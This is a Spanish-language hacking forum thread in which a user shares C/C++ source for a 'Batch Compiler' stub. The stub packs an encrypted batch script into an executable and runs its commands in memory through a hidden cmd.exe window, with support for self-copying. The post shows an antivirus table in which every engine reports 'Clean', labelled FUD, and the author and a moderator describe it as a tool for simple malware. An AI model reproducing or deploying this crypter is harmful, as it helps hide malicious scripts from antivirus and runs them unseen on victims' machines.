comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Batch Compiler [Convierte tus archivos Bat a Exe][OpenSC]

  • 2 Respuestas
  • 1961 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado xxneeco83xx

  • *
  • Underc0der
  • Mensajes: 46
  • Actividad:
    0%
  • Reputación 0
  • ASM/C/C++/VB/Delphi
    • Ver Perfil
    • Email
  • Skype: nico.buzzi
« en: Agosto 10, 2015, 02:56:12 am »


Hola, esta es una herramienta para quienes se dedican a programar scripts o sus cosas en batch, lo que hace este compilador es pasar tu programa a Ejecutable y lo crypta
y en ningún momento crea en el disco el archivo ni desencryptado ni cryptado, ejecuta comando por comando en memoria.
pueden usarse la variable %0 para autocopiarce con el nombre del ejecutable.




Citar
Codigo del Stub! [C/C++]
Código: C++
  1. #include <windows.h>
  2.  
  3. int __stdcall ExecuteCommand ( IN LPSTR lpszCommand );
  4. int __stdcall Decrypt ( LPSTR String, LPSTR Out );
  5.  
  6. int __stdcall ExecuteCommand ( IN LPSTR lpszCommand )
  7. {
  8.  
  9.         LPSTR szPath;
  10.         char newcommand [ lstrlenA ( lpszCommand ) + 50 ];
  11.         STARTUPINFOA si;
  12.         PROCESS_INFORMATION pi;
  13.        
  14.         ZeroMemory ( &si, sizeof ( si ) );
  15.         ZeroMemory ( &pi, sizeof ( pi ) );
  16.  
  17.         si.cb = sizeof ( si );
  18.        
  19.         szPath = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + 1 ) );
  20.  
  21.         GetSystemDirectoryA ( szPath, MAX_PATH );
  22.         CopyMemory ( &szPath [ lstrlenA ( szPath ) ], &"\\cmd.exe", lstrlenA ( "cmd.exe" ) + 1 );
  23.  
  24.         wsprintfA ( newcommand, "/c %s", lpszCommand );
  25.        
  26.         CreateProcessA ( szPath, newcommand, 0, 0, false, CREATE_NO_WINDOW, 0, 0, &si, &pi );
  27.  
  28.         //ShellExecuteA ( HWND_DESKTOP, "open", szPath, newcommand, 0, SW_HIDE );
  29.  
  30.         WaitForSingleObject ( pi.hProcess, INFINITE );
  31.        
  32.         CloseHandle ( pi.hProcess );
  33.         CloseHandle ( pi.hThread );
  34.  
  35.         GlobalFree ( szPath );
  36.        
  37.         return 0;
  38.        
  39. }
  40.  
  41. //Funcion para desencryptar palabras
  42. int __stdcall Decrypt ( LPSTR String, LPSTR Out )
  43. {
  44.  
  45.         for ( ; *String != '\0'; *String ++ )
  46.         {
  47.                 if ( ( *String >= 65 ) && ( *String < 90 ) )
  48.                 {
  49.                         *Out = *String - 1;
  50.                 }
  51.                 else if ( ( *String >= 65 ) && ( *String == 90 ) )
  52.                 {
  53.                         *Out = *String + 1;
  54.                 }
  55.                 else if ( ( *String >= 97 ) && ( *String < 122 ) )
  56.                 {
  57.                         *Out = *String - 1;
  58.                 }
  59.                 else if ( ( *String >= 97 ) && ( *String == 122 ) )
  60.                 {
  61.                         *Out = *String - 1;
  62.                 }
  63.                 else
  64.                 {
  65.                         *Out = *String;
  66.                 }
  67.                
  68.                 *Out ++;
  69.         }
  70.  
  71.         return 0;
  72. }
  73.  
  74. int WINAPI WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
  75.         LPSTR lpszArgument, int nCmdFunstil )
  76. {
  77.        
  78.         DWORD dwBytes, dwSize;
  79.         HANDLE File;
  80.         LPSTR Buffer, Command, AppName, backup;
  81.         register DWORD bytes = 0, x = 0, total = 0, test = 0;
  82.  
  83.         AppName = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + 1 ) );
  84.         GetModuleFileNameA ( GetModuleHandleA ( 0L ), AppName, MAX_PATH );
  85.  
  86.         File = CreateFileA ( AppName, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0 );
  87.         if ( File == INVALID_HANDLE_VALUE )
  88.         {
  89.                 CloseHandle ( File );
  90.                 return EXIT_FAILURE;
  91.         }
  92.  
  93.         dwSize = GetFileSize ( File, 0 );
  94.  
  95.         Buffer = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( dwSize + 1 ) );
  96.         ReadFile ( File, Buffer, dwSize, &dwBytes, 0 );
  97.         CloseHandle ( File );
  98.  
  99.         //Buscamos la firma de nuestro programa.
  100.         for ( bytes; bytes <= dwSize; bytes ++ )
  101.         {
  102.                 if ( Buffer [ bytes ] == '*' && Buffer [ bytes + 1 ] == '+' &&
  103.                         Buffer [ bytes + 2 ] == '+' && Buffer [ bytes + 3 ] == '*' )
  104.                 {
  105.                         //Ajustamos el buffer y el nuevo tamaño.
  106.                         Buffer += ( bytes + 4 );
  107.                         dwSize -= ( bytes + 4 );
  108.  
  109.                         break;
  110.                 }
  111.         }
  112.  
  113.         //Desencryptamos el codigo en nustro EOF.
  114.         backup = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( lstrlenA ( Buffer + 1 ) ) );
  115.         CopyMemory ( &backup [ 0 ], &Buffer [ 0 ], lstrlenA ( Buffer ) );
  116.        
  117.         GlobalFree ( Buffer );
  118.        
  119.         Buffer = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( lstrlenA ( backup ) + 1 ) );
  120.         Decrypt ( backup, Buffer );
  121.        
  122.         GlobalFree ( backup );
  123.  
  124.         for ( bytes = 0; bytes <= lstrlenA ( Buffer ); bytes ++ )
  125.         {
  126.                 if ( Buffer [ bytes ] == 13 || Buffer [ bytes ] == '\n' )
  127.                 {
  128.                         Command = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( bytes + 10 ) );
  129.                        
  130.                         CopyMemory ( &Command [ 0 ], &Buffer [ 0 ], ( bytes ) );
  131.                        
  132.                         total = lstrlenA ( Command );
  133.                         for ( x = 0; x <= total; x ++ )
  134.                         {
  135.                                
  136.                                 //En caso de existir la variable %0 - la sustituimos por la ruta de nuestro ejecutable.
  137.                                 if ( ( Command [ x ] == '%' ) && ( Command [ x + 1 ] == 48 ) )
  138.                                 {
  139.                                         backup = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( lstrlenA ( Command ) + 1 ) );
  140.                                         CopyMemory ( &backup [ 0 ], &Command [ 0 ], lstrlenA ( Command ) );
  141.        
  142.                                         GlobalFree ( Command );
  143.  
  144.                                         Command = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( bytes + lstrlenA ( AppName ) + MAX_PATH ) );
  145.        
  146.                                         CopyMemory ( &Command [ 0 ], &backup [ 0 ], x - 1 );
  147.                                         lstrcatA ( Command, " " );
  148.                                         backup += ( x + 2 );
  149.                                         CopyMemory ( &Command [ lstrlenA ( Command ) ], &AppName [ 0 ], lstrlenA ( AppName ) );
  150.                        
  151.                                         CopyMemory ( &Command [ lstrlenA ( Command ) ], &backup [ 0 ], total - ( x + 2 ) );
  152.                                        
  153.                                         GlobalFree ( backup );
  154.        
  155.                                         break;
  156.                                 }
  157.                         }
  158.  
  159.                         for ( test = 0; test <= lstrlenA ( Command ); test ++ )
  160.                         {
  161.                                 if ( ( Command [ test ] == 13 ) || ( Command [ test ] == '\n' ) )
  162.                                 {
  163.                                
  164.                                         backup = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( lstrlenA ( Command ) + 1 ) );
  165.                                         CopyMemory ( &backup [ 0 ], &Command [ 0 ], test );
  166.                                        
  167.                                         ExecuteCommand ( backup );
  168.                                
  169.                                         Command += ( test + 1 );
  170.  
  171.                                         GlobalFree ( backup );
  172.                                 }
  173.                         }
  174.                                
  175.                         //Ejecutamos el comando
  176.                         ExecuteCommand ( Command );
  177.  
  178.                         //Reajustamos el buffer.
  179.                         Buffer += ( bytes + 2 );
  180.                        
  181.                         //Liberamos el buffer.
  182.                         GlobalFree ( Command );
  183.                 }
  184.         }
  185.  
  186.         GlobalFree ( AppName );
  187.         GlobalFree ( Buffer );
  188.  
  189.         return EXIT_SUCCESS;
  190. }
  191.  
  192.  

ANALISIS FUD
No tienes permisos para ver links. Registrate o Entra con tu cuenta

Antivirus   Resultado   Actualización
ALYac      20150805    Clean
AVG      20150805    Clean
AVware      20150805    Clean
Ad-Aware      20150805    Clean
AegisLab      20150805    Clean
Agnitum      20150804    Clean
AhnLab-V3      20150805    Clean
Alibaba      20150803    Clean
Antiy-AVL      20150805    Clean
Arcabit      20150805    Clean
Avast      20150805    Clean
Avira      20150805    Clean
Baidu-International      20150805    Clean
BitDefender      20150805    Clean
Bkav      20150805    Clean
ByteHero      20150805    Clean
CAT-QuickHeal      20150805    Clean
ClamAV      20150805    Clean
Comodo      20150805    Clean
Cyren      20150805    Clean
DrWeb      20150805    Clean
ESET-NOD32      20150805    Clean
Emsisoft      20150805    Clean
F-Prot      20150805    Clean
F-Secure      20150805    Clean
Fortinet      20150804    Clean
GData      20150805    Clean
Ikarus      20150805    Clean
Jiangmin      20150804    Clean
K7AntiVirus      20150805    Clean
K7GW      20150805    Clean
Kaspersky      20150805    Clean
Kingsoft      20150805    Clean
Malwarebytes      20150805    Clean
McAfee      20150805    Clean
McAfee-GW-Edition      20150805    Clean
MicroWorld-eScan      20150805    Clean
Microsoft      20150805    Clean
NANO-Antivirus      20150805    Clean
Panda      20150805    Clean
Qihoo-360      20150805    Clean
Rising      20150731    Clean
SUPERAntiSpyware      20150805    Clean
Sophos      20150805    Clean
Symantec      20150805    Clean
Tencent      20150805    Clean
TheHacker      20150805    Clean
TotalDefense      20150805    Clean
TrendMicro      20150805    Clean
TrendMicro-HouseCall      20150805Clean
VBA32      20150805    Clean
VIPRE      20150805    Clean
ViRobot      20150805    Clean
Zillya      20150805    Clean
Zoner      20150805    Clean
nProtect      20150805    Clean


Link de descarga:
No tienes permisos para ver links. Registrate o Entra con tu cuenta

PASS: xxneeco83xx
« Última modificación: Agosto 10, 2015, 07:48:58 pm por EPSILON »
El arte de crear malware, es algo que solo pocos entienden!


Desconectado blackdrake

  • *
  • Moderator
  • Mensajes: 1910
  • Actividad:
    15%
  • Reputación 15
    • Ver Perfil
« Respuesta #1 en: Agosto 11, 2015, 09:06:26 am »
Clásico pero efectivo, muchas gracias @No tienes permisos para ver links. Registrate o Entra con tu cuenta



Desconectado xxneeco83xx

  • *
  • Underc0der
  • Mensajes: 46
  • Actividad:
    0%
  • Reputación 0
  • ASM/C/C++/VB/Delphi
    • Ver Perfil
    • Email
  • Skype: nico.buzzi
« Respuesta #2 en: Agosto 11, 2015, 06:21:19 pm »
No tienes permisos para ver links. Registrate o Entra con tu cuenta
Clásico pero efectivo, muchas gracias @No tienes permisos para ver links. Registrate o Entra con tu cuenta

Por nada! si bien hay muchas cosas que se le pueden agregar, y mejorar, es practico para esos scripts o malwares simples.
El arte de crear malware, es algo que solo pocos entienden!


 

¿Te gustó el post? COMPARTILO!



Archivos PDF y protectores de pantalla roban credenciales de Facebook.

Iniciado por morodog

Respuestas: 0
Vistas: 2248
Último mensaje Enero 26, 2016, 01:06:16 pm
por morodog
USBDumper [Roba todos los archivos de USB Ajenos]

Iniciado por xxneeco83xx

Respuestas: 7
Vistas: 5001
Último mensaje Marzo 30, 2018, 06:31:46 pm
por ANTRAX
Ver las cabeceras de archivos con extensión desconocida

Iniciado por Gabriela

Respuestas: 0
Vistas: 1256
Último mensaje Octubre 06, 2015, 12:25:26 pm
por Gabriela
Las modas vuelven: ransomware en archivos PIF

Iniciado por Gabriela

Respuestas: 2
Vistas: 1461
Último mensaje Septiembre 04, 2015, 08:28:33 am
por 79137913
Botnet sencila [Batch]

Iniciado por rollth

Respuestas: 6
Vistas: 3437
Último mensaje Agosto 16, 2015, 05:21:39 am
por xxneeco83xx